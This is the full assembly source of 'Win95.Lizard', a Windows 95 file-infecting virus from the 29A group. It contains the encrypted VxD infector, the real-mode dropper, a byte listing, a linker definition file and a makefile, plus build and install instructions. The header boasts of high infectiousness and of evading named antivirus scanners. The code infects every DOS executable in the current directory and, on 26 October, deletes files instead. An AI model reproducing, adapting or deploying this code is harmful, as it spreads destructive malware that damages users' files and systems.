;Win95.Lizard
;-----------------------------------------------------------------------------
;Lizard by Reptile/29A (another version ;)
;-----------------------------------------------------------------------------

;                           22222   99999   AAAAA
;                          222 222 999 999 AAA AAA
;                             222   999999 AAAAAAA
;                          222         999 AAA AAA
;                          2222222 999999  AAA AAA

;This is an encrypted vxd direct action dos exe infector (I added some anti-
;heuristics and other stuff and optimized the code of v1.0).

;When an infected file is run the virus decrypts itself, drops lzd.vxd to the
;available one of the three dirs and then returns back to the host. After the
;next reboot...

;When windoze 95 is starting, it loads the vxd (lzd.vxd) automatically coz
;it's in the '\iosubsys\' dir (Lizard doesn't need to modify the system.ini
;or the registry). Then the virus takes control and hooks the V86 interrupt
;chain. It executes on exec (4bh), create (3ch), ext. open (6ch), close (3eh)
;and on find first file (4eh) using direct action techniques to infect all
;dos exes in the current directory (*highly* infectious!). Lzd.vxd has a size
;of 7099 bytes (masm sux! :P ), but the victims are only increased by 1967 (!)
;bytes.

;Findvirus v7.75, AVP v3.0 and TBAV v8.03 (high heuristic sensitivity!) can't
;detect it (all for win95).

;Compiling lzd.vxd (win95 DDK):
;makefile

;Compiling rmlzd.inc:
;tasm /m2 rmlzd.asm
;tlink /t rmlzd.obj
;file2db rmlzd.com (or another db generator)
;modify rmlzd.dat

;To install copy lzd.vxd to one of the following dirs:
;- c:\windows\system\iosubsys
;- c:\win95\system\iosubsys
;- c:\windows.000\system\iosubsys
;...or start lizard.exe :)

;P.S.:
;Sandy: are u lucky now? ;)
;Jacky: thanx for testing it!
;GriYo: the stack stuff really didn't work :P

;P.P.S:
;TrY MaGiC MuShRoOmS...

;---[LZD.ASM]-----------------------------------------------------------------

.386p

.xlist
include vmm.inc
.list

vxdhsize equ 701
vxddsize equ 81
vxdcsize equ 880
esize equ encend - encstart
vsize equ vend - start

Declare_Virtual_Device LZD, 6, 66, LZD_Control, Undefined_Device_Id, \
Undefined_Init_Order,,

VxD_Locked_Data_Seg
wcard db '*.e?e',0  ;*.l?z
include rmlzd.inc    ;realmode code
dflag db 0
pflag db 0
ndta db 43 dup (?)
header db 26 dup (?)
VxD_Locked_Data_Ends
;-----------------------------------------------------------------------------
VxD_Locked_Code_Seg
BeginProc LZD_Device_Init
;trigger
mov ah,2ah  ;get date
vxdint 21h
;live drazil si
cmp dh,10   ;26.10.?
jne npload
cmp dl,26
jne npload

mov pflag,1 ;hehe

npload:
mov eax,21h ;install int 21h handler
mov esi,offset32 int21h
VMMcall Hook_V86_Int_Chain
clc
ret
EndProc LZD_Device_Init
;-----------------------------------------------------------------------------
BeginProc int21h
cmp [ebp.Client_AH],4bh   ;exec
je short ww
cmp [ebp.Client_AH],3ch   ;create
je short ww
cmp [ebp.Client_AH],6ch   ;ext. open
je short ww
cmp [ebp.Client_AH],3eh   ;close
je short ww
cmp [ebp.Client_AH],4eh   ;find first
je short ww
jmp prevhook

ww:
Push_Client_State   ;save regs
VMMcall Begin_Nest_Exec
;-----------------------------------------------------------------------------
cmp dflag,1
je done
mov ax,3d02h   ;open lzd.vxd
lea edx,dropname1   ;in the 'c:\windows\system\iosubsys' dir
vxdint 21h
jnc short rd

mov ax,3d02h   ;open the vxd
lea edx,dropname2   ;in the 'c:\win95\system\iosubsys' dir
vxdint 21h
jnc short rd

mov ax,3d02h   ;open the vxd
lea edx,dropname3   ;in the 'c:\windows.000\system\iosubsys' dir
vxdint 21h
jc ecsit  ;skip it

rd:
xchg ax,bx

mov ah,3fh  ;store the header of the vxd
mov cx,vxdhsize
lea edx,vxdheader
vxdint 21h

mov ax,4201h    ;jmp over zeros
xor cx,cx
mov dx,3400
vxdint 21h

mov ah,3fh  ;store the vxddata
mov cx,vxddsize
lea edx,vxddata
vxdint 21h

mov ax,4201h    ;jmp over realmodecode and zeros
xor cx,cx
mov dx,2037
vxdint 21h

mov ah,3fh  ;store the vxdcode
mov cx,vxdcsize
lea edx,vxdcode
vxdint 21h

mov ah,3eh  ;close...
vxdint 21h

mov dflag,1 ;set flag
;-----------------------------------------------------------------------------
done:
mov ah,1ah  ;set dta
lea edx,ndta
vxdint 21h

ffirst:
mov ah,4eh  ;search for first exe
jmp short w
fnext:
mov ah,4fh  ;find next exe
w:
mov cx,7
lea edx,wcard   ;*.e?e
vxdint 21h
jc ecsit

mov ax,4301h    ;set normal attribute
mov cx,20h
lea edx,[ndta + 30]
vxdint 21h

cmp pflag,1 ;sux0ring microsuckers
jne pheeew  ;(the payload in v1.0 was a bit too destructive ;)

evil:
;evil payload against the imperialism of microsoft!
mov ah,41h  ;yhcrana
lea edx,[ndta + 30]
vxdint 21h
jmp ecsit

pheeew:
mov ax,3d02h   ;open the victim
lea edx,[ndta + 30]
vxdint 21h
jc fnext
xchg ax,bx

mov ah,3fh   ;read header
mov cx,26
lea edx,header
vxdint 21h

cmp word ptr [header],'ZM'  ;exe?
jne cfile
cmp word ptr [header + 0ch],0ffffh ;allocate all mem?
jne cfile
cmp word ptr [header + 18h],40h ;win exe?
je cfile
mov al,[header + 12h] ;infected?
or al,al
jne cfile

;save ss:sp
mov ax,word ptr [header + 0eh]
mov sseg,ax
mov ax,word ptr [header + 10h]
mov ssp,ax

;save cs:ip
mov eax,dword ptr [header + 14h]
mov csip,eax

mov ax,4202h    ;eof
xor cx,cx
cwd
vxdint 21h

;calc new cs:ip
mov cx,16
div cx
sub ax,word ptr [header + 8]

mov word ptr [header + 14h],dx
mov word ptr [header + 16h],ax

add edx,vend    ;calc stack

mov word ptr [header + 0eh],ax
mov word ptr [header + 10h],dx

;xor encryption
rdnm:
in al,40h
or al,al
je rdnm
mov [encval],al ;save random value

mov edi,offset32 encstart
mov cx,esize
xl:
xor [edi],al
inc edi
loop xl

;write virus
mov ah,40h
mov cx,vsize
mov edx,offset32 start
vxdint 21h

;undo
mov al,[encval]
mov edi,offset32 encstart
mov cx,esize

xll:
xor [edi],al
inc edi
loop xll

mov ax,4202h    ;eof
xor cx,cx
cwd
vxdint 21h

mov cx,512  ;calc pages
div cx
or dx,dx
jz short np
inc ax
np:
mov word ptr [header + 4],ax
mov word ptr [header + 2],dx

mov ax,4200h    ;bof
xor cx,cx
cwd
vxdint 21h

rnd:
in al,40h   ;set infection flag
or al,al
je rnd
mov [header + 12h],al

mov ah,40h   ;write new header
mov cx,26
lea edx,header
vxdint 21h

cfile:
mov cl,byte ptr [ndta + 21] ;restore attribute
lea edx,[ndta + 1eh]
mov ax,4301h
vxdint 21h

mov cx,word ptr [ndta + 22] ;restore time/date
mov dx,word ptr [ndta + 24]
mov ax,5701
vxdint 21h

mov ah,3eh  ;close file
vxdint 21h
jmp fnext

ecsit:
VMMcall End_Nest_Exec
Pop_Client_State

prevhook:
stc
ret
EndProc int21h
;-----------------------------------------------------------------------------
BeginProc LZD_Control
Control_Dispatch Init_Complete,LZD_Device_Init
clc
ret
EndProc LZD_Control
wb db 13,10,'Lizard by Reptile/29A',0
VxD_Locked_Code_Ends
End ;this is the end my only friend the end...

;---[RMLZD.ASM]---------------------------------------------------------------

;Lizard's real mode portion

.286

vxdhsize equ 701
vxddsize equ 81
vxdcsize equ 880
esize equ encend - encstart
rmsize equ rmend - rmstart

.model tiny

.code
org 100h
start:
rmstart:
;get delta
;-----------------------------------------------------------------------------
call $ + 3
drazil:
pop si
sub si,offset drazil
push si
pop bp
;-----------------------------------------------------------------------------
push ds ;coz psp

push cs
pop ds

;decrypt it
db 176  ;mov al
encval db 0
;-----------------------------------------------------------------------------
lea di,[bp + offset encstart]
mov cx,esize
xd:
jmp fj
fj2:
inc di
loop xd
jmp encstart
fj:
xor [di],al
jmp fj2
;-----------------------------------------------------------------------------
encstart:
mov ax,3d00h    ;try to open lzd.vxd in
lea dx,[bp + offset dropname1]  ;c:\windows\system\iosubsys
int 21h
jnc cfile   ;exit if already installed
mov ah,3ch  ;install lzd.vxd
xor cx,cx
int 21h
jnc inst

mov ax,3d00h    ;try to open lzd.vxd in
lea dx,[bp + offset dropname2]  ;c:\win95\system\iosubsys
int 21h
jnc cfile
mov ah,3ch
xor cx,cx
int 21h
jnc inst

mov ax,3d00h    ;try to open lzd.vxd in
lea dx,[bp + offset dropname3]  ;c:\windows.000\system\iosubsys
int 21h
jnc cfile
mov ah,3ch
xor cx,cx
int 21h
jc exit

inst:
xchg ax,bx

mov ah,40h  ;write the header
mov cx,vxdhsize
lea dx,[bp + offset vxdheader]
int 21h

;write some zeros
mov cx,3400
lzero:
push cx
mov ah,40h
mov cx,1
lea dx,[bp + zero]
int 21h
pop cx
loop lzero

mov ah,40h  ;write the data
mov cx,vxddsize
lea dx,[bp + offset vxddata]
int 21h

mov ah,40h  ;write the rmcode
mov cx,rmsize
lea dx,[bp + offset rmstart]
int 21h

;write some more zeros
mov cx,1732
lzero2:
push cx
mov ah,40h
mov cx,1
lea dx,[bp + zero]
int 21h
pop cx
loop lzero2

mov ah,40h  ;write the code
mov cx,vxdcsize
lea dx,[bp + offset vxdcode]
int 21h

cfile:
mov ah,3eh
int 21h

;exe return
exit:
pop ax  ;psp
add ax,11h
dec ax
add word ptr [bp + offset csip + 2],ax

;stack
db 5    ;add ax
sseg dw 0fff0h  ;test
mov ss,ax

db 0bch ;mov sp
ssp dw 0fffeh

db 0eah
csip dd 0fff00000h

zero db 0

dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
rmend:
vxdheader db vxdhsize dup (?)
vxddata db vxddsize dup (?)
vxdcode db vxdcsize dup (?)
encend:
ends
end start

;---[RMLZD.INC]---------------------------------------------------------------

;Modified db listing of rmlzd.com

start:
db 0E8h, 000h, 000h, 05Eh, 081h, 0EEh, 003h, 001h
db 056h, 05Dh, 01Eh, 00Eh, 01Fh, 0B0h
;db 000h
encval db 0
db 08Dh
db 0BEh, 021h, 001h, 0B9h, 08Eh, 007h, 0EBh, 005h
db 047h, 0E2h, 0FBh, 0EBh, 004h, 030h, 005h, 0EBh
db 0F7h
encstart:
db 0B8h, 000h, 03Dh, 08Dh, 096h, 0C6h, 001h
db 0CDh, 021h, 073h, 07Fh, 0B4h, 03Ch, 033h, 0C9h
db 0CDh, 021h, 073h, 026h, 0B8h, 000h, 03Dh, 08Dh
db 096h, 0E9h, 001h, 0CDh, 021h, 073h, 06Ch, 0B4h
db 03Ch, 033h, 0C9h, 0CDh, 021h, 073h, 013h, 0B8h
db 000h, 03Dh, 08Dh, 096h, 00Ah, 002h, 0CDh, 021h
db 073h, 059h, 0B4h, 03Ch, 033h, 0C9h, 0CDh, 021h
db 072h, 055h, 093h, 0B4h, 040h, 0B9h, 0BDh, 002h
db 08Dh, 096h, 031h, 002h, 0CDh, 021h, 0B9h, 048h
db 00Dh, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
db 0B4h, 040h, 0B9h, 051h, 000h, 08Dh, 096h, 0EEh
db 004h, 0CDh, 021h, 0B4h, 040h, 0B9h, 031h, 001h
db 08Dh, 096h, 000h, 001h, 0CDh, 021h, 0B9h, 0C4h
db 006h, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
db 0B4h, 040h, 0B9h, 070h, 003h, 08Dh, 096h, 03Fh
db 005h, 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h, 058h
db 005h, 011h, 000h, 048h, 001h, 086h, 0C3h, 001h
db
;db 0F0h, 0FFh
sseg dw 0fff0h  ;not necessary
db 08Eh, 0D0h, 0BCh
;db 0FEh, 0FFh
ssp dw 0fffeh
db
;db 000h, 000h, 0F0h, 0FFh
csip dd 0fff00000h
db 000h
;db 063h, 03Ah
;db
;db
;db
;db
;db
;db
;db
;db 073h, 05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h
;db 064h, 000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh
;db 064h, 06Fh, 077h, 073h, 02Eh, 030h, 030h, 030h
;db 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch
;db
;db
;db
dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
vxdheader db vxdhsize dup (?)
vxddata db vxddsize dup (?)
vxdcode db vxdcsize dup (?)
encend:
vend:

;---[LZD.DEF]-----------------------------------------------------------------

VXD LZD DYNAMIC
DESCRIPTION ''
SEGMENTS
    _LPTEXT     CLASS 'LCODE'   PRELOAD NONDISCARDABLE
    _LTEXT      CLASS 'LCODE'   PRELOAD NONDISCARDABLE
    _LDATA      CLASS 'LCODE'   PRELOAD NONDISCARDABLE
    _TEXT       CLASS 'LCODE'   PRELOAD NONDISCARDABLE
    _DATA       CLASS 'LCODE'   PRELOAD NONDISCARDABLE
    CONST       CLASS 'LCODE'   PRELOAD NONDISCARDABLE
    _TLS        CLASS 'LCODE'   PRELOAD NONDISCARDABLE
    _BSS        CLASS 'LCODE'   PRELOAD NONDISCARDABLE
    _ITEXT      CLASS 'ICODE'   DISCARDABLE
    _IDATA      CLASS 'ICODE'   DISCARDABLE
    _PTEXT      CLASS 'PCODE'   NONDISCARDABLE
    _PDATA      CLASS 'PDATA'   NONDISCARDABLE SHARED
    _STEXT      CLASS 'SCODE'   RESIDENT
    _SDATA      CLASS 'SCODE'   RESIDENT
    _DBOSTART   CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
    _DBOCODE    CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
    _DBODATA    CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
    _16ICODE    CLASS '16ICODE' PRELOAD DISCARDABLE
    _RCODE      CLASS 'RCODE'

EXPORTS
       LZD_DDB @1

;---[MAKEFILE]----------------------------------------------------------------

NAME = lzd

LINK = LINK

ASM    = ml
AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 -DDEBLEVEL=0
ASMENV = ML
LFLAGS = /VXD /NOD

.asm.obj:
	set $(ASMENV)=$(AFLAGS)
        $(ASM) -Fo$*.obj $<

all : $(NAME).VXD

OBJS = lzd.obj

lzd.obj: lzd.asm

$(NAME).VxD: $(NAME).def $(OBJS)
        link @<<$(NAME).lnk
$(LFLAGS)
/OUT:$(NAME).VxD
/MAP:$(NAME).map
/DEF:$(NAME).def
$(OBJS)
<<

 @del *.exp>nul
 @del *.lib>nul
 @del *.map>nul
 @del *.obj>nul
;... 
